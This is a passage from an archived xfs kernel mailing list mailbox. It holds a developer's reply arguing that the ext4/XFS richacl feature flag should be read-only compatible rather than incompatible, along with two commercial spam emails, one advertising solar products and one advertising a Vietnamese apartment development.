ay0kXDIKRb5CAuLfNOEOrScZ/quNVSRb95hO7c7u0a+v54VYGgdLA7gkdHCGpiU0LWwMFqkQ vajdy6jVj2JBftkTpBoki8eiK0PjTyp1PrSpnRq6P6bhGqwl6SirgyLbIzTBEG5BvKH8LEe/ wxRoky7aEEJUWnXwdCj8G+AZyFb2dvDjZnURihi8jpkPBH8HA7g6OE5pEsebUgiEr5dBpY/5 K7Ag0cXXvhfHBI8hSN2kFwBhbW7VAOATRf+uHjmAVRtDG52p2VWPfdmgaekpF1cqKZ0Ch8ym twB+RNHFzWJkz3x0FDuXCgicjbkyehKZeuMPDrs/MuT/H3Y1C7twgftS8eLNDBJDDJB+/FgV s/rKccEhbG7cgy71pa/8/3Uifg6rslx5QOKNyqLS+MESfEC16G1D6v26ocUAfLd3qsu5aevC GAC8LBBxXTE7cFSibnC3ZVTQhxBrCMnfbBTe4VQBLNIZXwaLfiokw/SLjyTaMfYqt1s/l8i0 rJGcLE0Aw2SD1NI38lQzCFLlq4670K+mhszfc243K60zRrMy5ntEVvwEcQAAAAAAAA== --------------ms010802090608060909070409-- From ahferroin7@gmail.com Mon Oct 19 08:16:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 88DE77F50 for ; Mon, 19 Oct 2015 08:16:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id DCEBCAC002 for ; Mon, 19 Oct 2015 06:16:58 -0700 (PDT) X-ASG-Debug-ID: 1445260614-04cb6c3ceca0750001-NocioJ Received: from mail-ig0-f178.google.com (mail-ig0-f178.google.com [209.85.213.178]) by cuda.sgi.com with ESMTP id 2U0HOTxSW8g6qlXx (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 06:16:54 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.213.178 Received: by igbdj2 with SMTP id dj2so56440263igb.1 for ; Mon, 19 Oct 2015 06:16:54 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=Fk5LuVbXB2qRax7FOVjlLTq3Swu3q75GzcOlCalpYho=; b=gBRBL5b/c7RADk2rRr/CLBOl/Q5ARiyJl5pDR13/IL0AfUU1CBxrtntCkZlUyNXMZq FQeMOViEoxssyg6VdLDY7TIYAgqieqe2lCn5S+7Ciqg5+3K6SIXV2CtxzlybnE2JS0nM HZoiTxOnMtrIxAyKXFPoDQnIOqg/7IIP/XX7FXR+OTvd1ObCbnHiN6cRYrxnl4EtctF8 IA+k18XpR5bqr9U2PxhPmwYqQxjRqLIfMjiR7NDb2TUvyDEK1i/bhBI4XfKGgonTnQjB YFpvT5BFZBWiXUXAIHZCPH//ykMVZYGfW/Euq6kCEFMHb4DZL2FwjcIPZTXB4PY+sqHf zdPQ== X-Received: by 10.50.119.106 with SMTP id kt10mr6514446igb.2.1445260614332; Mon, 19 Oct 2015 06:16:54 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id b10sm7762829igb.9.2015.10.19.06.16.52 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 19 Oct 2015 06:16:53 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> Cc: Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <5624ED40.7040206@gmail.com> Date: Mon, 19 Oct 2015 09:16:48 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms030800000600070409050505" X-Antivirus: avast! (VPS 151019-0, 2015-10-19), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-ig0-f178.google.com[209.85.213.178] X-Barracuda-Start-Time: 1445260614 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms030800000600070409050505 Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-16 13:41, Andreas Gruenbacher wrote: > On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn > wrote: >> I would like to re-iterate, on both XFS and ext4, I _really_ think thi= s >> should be a ro_compat flag, and not an incompat one. If a person has = the >> ability to mount the FS (even if it's a read-only mount), then they by= >> definition have read access to the file or partition that the filesyst= em is >> contained in, which means that any ACL's stored on the filesystem are >> functionally irrelevant, > > It is unfortunately not safe to make such a file system accessible to > other users, so the feature is not strictly read-only compatible. > OK, seeing as I wasn't particularly clear as to why I object to this in=20 my other e-mail, let's try this again. Can you please explain exactly why it isn't safe to make such a=20 filesystem accessible to other users? Because that _really_ sounds to=20 me like you are trying to rely on this being un-mountable on a kernel=20 that doesn't support richacls to try and provide the illusion of better=20 security. --------------ms030800000600070409050505 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgMFADCABgkqhkiG9w0BBwEAAKCC Brgwgga0MIIEnKADAgECAgMRLfgwDQYJKoZIhvcNAQENBQAweTEQMA4GA1UEChMHUm9vdCBD QTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNp Z25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcwHhcN MTUwOTIxMTEzNTEzWhcNMTYwMzE5MTEzNTEzWjBjMRgwFgYDVQQDEw9DQWNlcnQgV29UIFVz ZXIxIzAhBgkqhkiG9w0BCQEWFGFoZmVycm9pbjdAZ21haWwuY29tMSIwIAYJKoZIhvcNAQkB FhNhaGVtbWVsZ0BvaGlvZ3QuY29tMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA nQ/81tq0QBQi5w316VsVNfjg6kVVIMx760TuwA1MUaNQgQ3NyUl+UyFtjhpkNwwChjgAqfGd LIMTHAdObcwGfzO5uI2o1a8MHVQna8FRsU3QGouysIOGQlX8jFYXMKPEdnlt0GoQcd+BtESr pivbGWUEkPs1CwM6WOrs+09bAJP3qzKIr0VxervFrzrC5Dg9Rf18r9WXHElBuWHg4GYHNJ2V Ab8iKc10h44FnqxZK8RDN8ts/xX93i9bIBmHnFfyNRfiOUtNVeynJbf6kVtdHP+CRBkXCNRZ qyQT7gbTGD24P92PS2UTmDfplSBcWcTn65o3xWfesbf02jF6PL3BCrVnDRI4RgYxG3zFBJuG qvMoEODLhHKSXPAyQhwZINigZNdw5G1NqjXqUw+lIqdQvoPijK9J3eijiakh9u2bjWOMaleI SMRR6XsdM2O5qun1dqOrCgRkM0XSNtBQ2JjY7CycIx+qifJWsRaYWZz0aQU4ZrtAI7gVhO9h pyNaAGjvm7PdjEBiXq57e4QcgpwzvNlv8pG1c/hnt0msfDWNJtl3b6elhQ2Pz4w/QnWifZ8E BrFEmjeeJa2dqjE3giPVWrsH+lOvQQONsYJOuVb8b0zao4vrWeGmW2q2e3pdv0Axzm/60cJQ haZUv8+JdX9ZzqxOm5w5eUQSclt84u+D+hsCAwEAAaOCAVkwggFVMAwGA1UdEwEB/wQCMAAw VgYJYIZIAYb4QgENBEkWR1RvIGdldCB5b3VyIG93biBjZXJ0aWZpY2F0ZSBmb3IgRlJFRSBo ZWFkIG92ZXIgdG8gaHR0cDovL3d3dy5DQWNlcnQub3JnMA4GA1UdDwEB/wQEAwIDqDBABgNV HSUEOTA3BggrBgEFBQcDBAYIKwYBBQUHAwIGCisGAQQBgjcKAwQGCisGAQQBgjcKAwMGCWCG SAGG+EIEATAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGGFmh0dHA6Ly9vY3NwLmNhY2Vy dC5vcmcwMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC5jYWNlcnQub3JnL3Jldm9rZS5j cmwwNAYDVR0RBC0wK4EUYWhmZXJyb2luN0BnbWFpbC5jb22BE2FoZW1tZWxnQG9oaW9ndC5j b20wDQYJKoZIhvcNAQENBQADggIBADMnxtSLiIunh/TQcjnRdf63yf2D8jMtYUm4yDoCF++J jCXbPQBGrpCEHztlNSGIkF3PH7ohKZvlqF4XePWxpY9dkr/pNyCF1PRkwxUURqvuHXbu8Lwn 8D3U2HeOEU3KmrfEo65DcbanJCMTTW7+mU9lZICPP7ZA9/zB+L0Gm1UNFZ6AU50N/86vjQfY WgkCd6dZD4rQ5y8L+d/lRbJW7ZGEQw1bSFVTRpkxxDTOwXH4/GpQfnfqTAtQuJ1CsKT12e+H NSD/RUWGTr289dA3P4nunBlz7qfvKamxPymHeBEUcuICKkL9/OZrnuYnGROFwcdvfjGE5iLB kjp/ttrY4aaVW5EsLASNgiRmA6mbgEAMlw3RwVx0sVelbiIAJg9Twzk4Ct6U9uBKiJ8S0sS2 8RCSyTmCRhJs0vvva5W9QUFGmp5kyFQEoSfBRJlbZfGX2ehI2Hi3U2/PMUm2ONuQG1E+a0AP u7I0NJc/Xil7rqR0gdbfkbWp0a+8dAvaM6J00aIcNo+HkcQkUgtfrw+C2Oyl3q8IjivGXZqT 5UdGUb2KujLjqjG91Dun3/RJ/qgQlotH7WkVBs7YJVTCxfkdN36rToPcnMYOI30FWa0Q06gn F6gUv9/mo6riv3A5bem/BdbgaJoPnWQD9D8wSyci9G4LKC+HQAMdLmGoeZfpJzKHMYIE0TCC BM0CAQEwgYAweTEQMA4GA1UEChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNl cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDE5MTMxNjQ4WjBPBgkq hkiG9w0BCQQxQgRARV6FVy8ON7WyTnhIiAHOwTSFhz3p0KC2fGHMjP9x8EYihIRJXwV8A1lr GKCnA11haUrftMPG6T6MwJvROKcnzTBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgBySybJn5n6gL1K0NqULeU/N3XCZxSHe8Q2IUD71ZuiWCXoVYzF dCdkwFqrmkO3nLrEZzdCg01rP/UqG5V5vFs3pO9REX2eEIZmw29HFZ6zryN+iKDKAhQ9EX+E S13Pw6AZWZayWowqKp3hFBFGgpGpyXy852bB4AlifgWRZb0SErGY0K+DrnCMZazDUq4/FEHi lZ180OX35bqdEwAXXyWbZ2qdXXJun1NUsLdoIc/3mkGVwqec4kKoa2cTgKYJq5IQ+MHEfy65 WxZVQW8v3Ul3QFZjkSL5d5qCYgn9Ol9GbBURPHd1NBkJq/w1xl9pIPIohikul8cY6whYx3LE dPYnjSyrHlU0CLgkIDsEZWSqEVxnipMTP9cxf9hZJNfY3D6mY7bLeyvLauKLoA/De3IAee4Q KUVF9joGIMiSy8gifPODhPgmq2uWxCkBzK/sW56NUYcl0qvFOPx/DeaYSqijwTe6fuGPISw7 RfIDZ9Mx9TEN0+UvFviq9F2I8PzIL0TdfQ3bS7/2YZrx7k131m6tShSnejdHEy8rHrg27m0R bcolCOOErNVGc8DcsZt90M9Y248sEgr9mD0jboWY8nY064/eyZwFZZwwT1yWg+MeQQ1ojOjl lTQXu/NdFls9aKK6wY+WpoyeFZX5cnfBtHAn1fvo4PG0b9AM+SHGLUTvBAAAAAAAAA== --------------ms030800000600070409050505-- From amy@amaxsolar.com Mon Oct 19 08:22:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=HTML_FONT_LOW_CONTRAST, HTML_MESSAGE,T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E8E1F7F50 for ; Mon, 19 Oct 2015 08:22:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 50731AC003 for ; Mon, 19 Oct 2015 06:22:23 -0700 (PDT) X-ASG-Debug-ID: 1445260935-04cbb035aab0090001-NocioJ Received: from vipmail11.myhostadmin.net (vipmail11.myhostadmin.net [219.234.4.73]) by cuda.sgi.com with ESMTP id q9xc3pvYSyS0Z3FU for ; Mon, 19 Oct 2015 06:22:16 -0700 (PDT) X-Barracuda-Envelope-From: amy@amaxsolar.com X-Barracuda-Apparent-Source-IP: 219.234.4.73 Received: (qmail 26480 invoked by uid 889); 19 Oct 2015 21:22:13 +0800 Received: from unknown (HELO 2013-20150320NQ) (amy@amaxsolar.com@122.228.11.71) by vipmail11.myhostadmin.net with ESMTPA; 19 Oct 2015 21:22:13 +0800 Date: Mon, 19 Oct 2015 21:30:01 +0800 From: "amy@amaxsolar.com" To: xfs Subject: 10 watt waterproof rechargeable led flood light X-Priority: 3 X-ASG-Orig-Subj: 10 watt waterproof rechargeable led flood light X-Has-Attach: no X-Mailer: Foxmail 7, 2, 7, 21[cn] Mime-Version: 1.0 Message-ID: <201510182225122424283@amaxsolar.com> Content-Type: multipart/alternative; boundary="----=_001_NextPart863208100353_=----" X-Barracuda-Connect: vipmail11.myhostadmin.net[219.234.4.73] X-Barracuda-Start-Time: 1445260935 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: amax-solar.com X-Barracuda-Spam-Score: 0.54 X-Barracuda-Spam-Status: No, SCORE=0.54 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_FONT_LOW_CONTRAST, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.54 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar to background 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_001_NextPart863208100353_=---- Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: base64 SGkgbXkgZnJpZW5kLA0KIA0KVGhpcyBpcyBBbXkgZnJvbSBBbWF4IFNvbGFyIFRlY2hub2xvZ3kg Y28uLGx0ZC4gV2UgYXJlIGEgcHJvZmVzc2lvbmFsIG1hbnVmYWN0dXJlciBhbmQgZGVzaWduZXIg aW4gU29sYXIgYXBwbGljYXRpb25zIGFyZWEgaW4gU2hlbnpoZW4sIENoaW5hLiAgQWxsIG91ciBz b2xhciBwcm9kdWN0cyBoYXZlIGJlZW4gQ0UsUm9IUyBjZXJ0aWZpZWQgYW5kIGdldCBhIGhpZ2gg cmVwdXRhdGlvbiBhbmQgaG90IG1hcmtldCBpbiBldXJvcGUgYW5kIG5vcnRoIGFtZXJpY2EsYW5k IG90aGVyIGNvdW50cmllcy4gDQogDQpQcm9kdWN0cyBtYWlubHkgaW5jbHVkZSBzb2xhciBjaGFy Z2VyIGZvciBtb2JpbGUgcGhvbmUsIHNvbGFyIGxhbXAsIHNvbGFyIGNhbXBpbmcgbGFudGVybixz b2xhciBzeXN0ZW0gZm9yIGhvbWUgbGlnaHRpbmcsIHNvbGFyIExFRCBzdHJlZXQgbGlnaHQgZXRj Lg0KIA0KUGxzIGZlZWwgZnJlZSB0byBjb250YWN0IHdpdGggbWUgaWYgeW91IHdvdWxkIGxpa2Ug dG8ga25vdyBtb3JlICEgDQogDQogDQpCZXN0IHdpc2hlcw0KIA0KQW15IA0KIA0KDQoNCkFtYXgg U29sYXIgVGVjaG5vbG9neSBDby4sTHRkDQoNCkFkZHJlc3M6ICAgNDA4IyBDICxCYW9odWEgYnVp bGRpbmcgLFd1d3UgQ3VuIExvbmdodWEgTmV3IERpc3RyaWN0LCANCiAgICAgICAgICAgICAgICAg ICAgIFNoZW56aGVuIENpdHksR3Vhbmdkb25nIFByb3ZpbmNlICxDaGluYShaaXAgY29kZSAgNTE4 MTA5KQ0KVGVsOiAgICAgICAgICAwMDg2IDEzNyA1MTA4IDAwMTANCkVtYWlsOiAgICAgIGFteUBh bWF4c29sYXIuY29tDQpTa3lwZTogICAgICBhbXkuY2FpMTggDQpXZSBjaGF0IDogIHhpYW9jYWk5 MDUwDQpXZWIgOiAgICAgICAgIHd3dy5hbWF4LXNvbGFyLmNvbQ0K ------=_001_NextPart863208100353_=---- Content-Type: text/html; charset="GB2312" Content-Transfer-Encoding: quoted-printable =0A
=

Hi my friend,

=0A

 

=0A

This is Amy from Amax Solar= Technology co.,ltd. We are a =0Aprofessional manufacturer and designer in Solar applications = area in =0AShenzhen, China.  = All our solar products have been CE,RoHS certified =0Aand get a high= reputation and hot market in europe and north =0Aamerica,and other countr= ies.

=0A

&= nbsp;

=0A

Products ma= inly include solar charger for mobile phone, solar lamp, =0Asolar camping = lantern,solar system for home lighting, solar LED street light =0Aetc.

=0A

 

=0A

Pls feel free to con= tact with me if you would like to know more ! =0A

=0A

 

=0A

 

=0A

Best wishes

=0A

 

=0A

Amy <= /p>=0A

 


=0A
=0A ------=_001_NextPart863208100353_=------ From info@diaocgiagoc.net Mon Oct 19 08:28:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.9 required=5.0 tests=DATE_IN_PAST_03_06, HTML_MESSAGE,SUBJ_ALL_CAPS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9281B7F51 for ; Mon, 19 Oct 2015 08:28:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EA0A1AC001 for ; Mon, 19 Oct 2015 06:28:48 -0700 (PDT) X-ASG-Debug-ID: 1445261322-04cb6c3ceca0cb0001-NocioJ Received: from vultr.guest (45.32.243.104.vultr.com [45.32.243.104]) by cuda.sgi.com with ESMTP id Oz14Chd63Kf70IMd (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 19 Oct 2015 06:28:44 -0700 (PDT) X-Barracuda-Envelope-From: info@diaocgiagoc.net X-Barracuda-Apparent-Source-IP: 45.32.243.104 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=diaocgiagoc.net; s=mail; h=Message-ID:Date:Reply-To:MIME-Version:Content-Type:To:Subject:From; bh=kwKcNo/IylEwZwcA0yAnFajnnZBTudRzvUjcbkY0QDE=; b=ZpOrttmUm6f+DSYSyxeR3rd8XhRrEaOF88UFaMzL17NLlhosnxV1XR3IdOFIZWY0jMEtf/1hF5j1GH6n2xxll3dpojL0IPWmlIACNXmoRPsk0DTKbgdWCuQLADpxMTqnQhboW3QUkowcZ2xeEwWf8uTKNsy8fdaEGR/TbRRywSg=; Received: from [203.205.28.102] (helo=TNH-PC) by vultr.guest with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1Zo6jM-0004KG-QL for xfs@oss.sgi.com; Mon, 19 Oct 2015 09:27:49 +0000 From: =?UTF-8?B?xJDhurduZyBN4bqtdSBIaeG6v24=?= Subject: =?UTF-8?B?Q1Xhu5hDIFPhu5BORyDEkOG6sk5HIEPhuqRQ?= NGAY KHU =?UTF-8?B?xJDDlCBUSOG7iiBT4bqmTSBV4bqkVCBOSOG6pFQ=?= TPHCM - =?UTF-8?B?UEjDmiBN4bu4IEjGr05H?= To: xfs@oss.sgi.com X-ASG-Orig-Subj: =?UTF-8?B?Q1Xhu5hDIFPhu5BORyDEkOG6sk5HIEPhuqRQ?= NGAY KHU =?UTF-8?B?xJDDlCBUSOG7iiBT4bqmTSBV4bqkVCBOSOG6pFQ=?= TPHCM - =?UTF-8?B?UEjDmiBN4bu4IEjGr05H?= Content-Type: multipart/alternative; charset="UTF-8"; boundary="LlxTB2Y01Tf8XU2xD2f1YwzzmLA4cM=_Uy0" MIME-Version: 1.0 Reply-To: mauhien.kx@gmail.com Date: Mon, 19 Oct 2015 16:27:49 +0700 Message-ID: <2424308789005693@TNH-PC> X-Barracuda-Connect: 45.32.243.104.vultr.com[45.32.243.104] X-Barracuda-Start-Time: 1445261324 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.09 X-Barracuda-Spam-Status: No, SCORE=1.09 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DATE_IN_PAST_03_06, DATE_IN_PAST_03_06_2, DKIM_SIGNED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23625 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 DATE_IN_PAST_03_06 Date: is 3 to 6 hours before Received: date 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 1.08 DATE_IN_PAST_03_06_2 DATE_IN_PAST_03_06_2 This is a multi-part message in MIME format --LlxTB2Y01Tf8XU2xD2f1YwzzmLA4cM=_Uy0 Content-Type: text/plain ; charset="UTF-8" Content-Transfer-Encoding: quoted-printable K=C3=ADnh g=E1=BB=9Fi: Qu=C3=BD kh=C3=A1ch h=C3=A0ng.=20 (Ch=E1=BB=89 c=E1=BA=A7n gi=E1=BB=9Bi thi=E1=BB=87u b=E1=BA=A1n b=C3=A8= , =C4=91=E1=BB=93ng nghi=E1=BB=87p s=E1=BB=9F h=E1=BB=AFu c=C4=83n h=E1= =BB=99 l=C3=A0 Qu=C3=BD kh=C3=A1ch s=E1=BA=BD nh=E1=BA=ADn ngay 1 ch=E1= =BB=89 v=C3=A0ng 9999, =C4=91=C4=83ng k=C3=BD ngay 0906.734.728) =20 HoREA - S=E1=BA=AEP M=E1=BB=9E B=C3=81N KHU C=C4=82N H=E1=BB=98 BI=E1=BB= =86T L=E1=BA=ACP VEN S=C3=94NG Q7 AN GIA SKYLINE=20 CU=E1=BB=98C S=E1=BB=90NG =C4=90=E1=BA=B2NG C=E1=BA=A4P NGAY KHU =C4=90= =C3=94 TH=E1=BB=8A S=E1=BA=A6M U=E1=BA=A4T NH=E1=BA=A4T TPHCM - PH=C3=9A= M=E1=BB=B8 H=C6=AFNG=20 V=E1=BB=9AI THANH TO=C3=81N CH=E1=BB=88 T=E1=BB=AA 333 TR/C=C4=82N 2 P= N =E2=80=93 1WC + Di=E1=BB=87n t=C3=ADch: t=E1=BB=AB 58 m2 =C4=91=E1=BA=BFn 112 m2 =C4= =91=C6=B0=E1=BB=A3c thi=E1=BA=BFt k=E1=BA=BF th=C3=B4ng minh t=E1=BB=AB= 2-3 PN. + C=C3=A1ch Ph=C3=BA M=E1=BB=B9 H=C6=B0ng ch=E1=BB=89 v=C3=A0i b=C6=B0= =E1=BB=9Bc ch=C3=A2n.=20 + Ngay m=E1=BA=B7t ti=E1=BB=81n s=C3=B4ng S=C3=A0i G=C3=B2n d=C3=A0i 1= ,5km + C=C3=A1ch trung t=C3=A2m h=C3=A0nh ch=C3=ADnh Q1 ch=E1=BB=89 15 ph=C3= =BAt xe m=C3=A1y. + N=E1=BA=B1m trong khu ph=E1=BB=A9c h=E1=BB=A3p La Casa. + View s=C3=B4ng S=C3=A0i G=C3=B2n r=E1=BB=99ng 1.5 c=C3=A2y s=E1=BB=91= =2E + View c=E1=BB=B1c =C4=91=E1=BA=B9p =E2=80=93 nh=C3=ACn v=E1=BB=81 h=E1= =BB=93 c=E1=BA=A3nh quan Skypearl 7000m2 + =C4=90=E1=BA=B7c bi=E1=BB=87t h=E1=BB=93 b=C6=A1i Aquagym =E2=80=93 = c=C6=B0 d=C3=A2n trong c=C4=83n h=E1=BB=99 s=E1=BA=BD v=E1=BB=ABa =C4=91= =C6=B0=E1=BB=A3c b=C6=A1i v=E1=BB=ABa =C4=91=C6=B0=E1=BB=A3c ch=E1=BA=A1= y b=E1=BB=99 - ti=E1=BB=87n =C3=ADch n=C3=A0y ch=E1=BB=89 c=C3=B3 =E1=BB= =9F n=C6=B0=E1=BB=9Bc ngo=C3=A0i v=C3=A0 ch=C6=B0a t=E1=BB=ABng c=C3=B3= t=E1=BA=A1i Vi=E1=BB=87t Nam. Thanh to=C3=A1n 20% nh=E1=BA=ADn nh=C3=A0 =20 =20 Qu=C3=BD kh=C3=A1ch c=C3=B3 th=E1=BB=83 =C4=91i=E1=BB=81n th=C3=B4ng t= in theo form m=E1=BA=ABu nh=E1=BA=B1m b=E1=BA=A3o m=E1=BA=ADt =C4=91=E1= =BB=83 tr=C3=A1nh b=E1=BB=8B =C4=91=C3=A1nh c=E1=BA=AFp:=20 Xem Nh=C3=A0 Nh=E1=BA=ADn Qu=C3=A0 =20 Tham quan th=E1=BB=B1c t=E1=BA=BF & tr=E1=BB=9F th=C3=A0nh 20 ch=E1=BB= =A7 nh=C3=A2n cu=E1=BB=91i c=C3=B9ng nh=E1=BA=ADn 10 ch=E1=BB=89 v=C3=A0= ng c=E1=BB=A7a d=E1=BB=B1 =C3=A1n An Gia Skyline LI=C3=8AN H=E1=BB=86 =C4=90=C4=82NG K=C3=9D & NH=E1=BA=ACN B=C3=81O GI= =C3=81 M=E1=BB=9AI NH=E1=BA=A4T HOTLINE: 0906.734.728 =20 (Xin l=E1=BB=97i qu=C3=BD kh=C3=A1ch =C4=91=C3=A3 l=C3=A0m phi=E1=BB=81= n, n=E1=BA=BFu qu=C3=BD kh=C3=A1ch kh=C3=B4ng mu=E1=BB=91n nh=E1=BA=AD= n mail qu=C3=BD kh=C3=A1ch vui l=C3=B2ng ph=E1=BA=A3n h=E1=BB=93i) =20 =20 --LlxTB2Y01Tf8XU2xD2f1YwzzmLA4cM=_Uy0 Content-Type: text/html ; charset="UTF-8" Content-Transfer-Encoding: quoted-printable

Kính gởi: Quý khách hà= ng. 

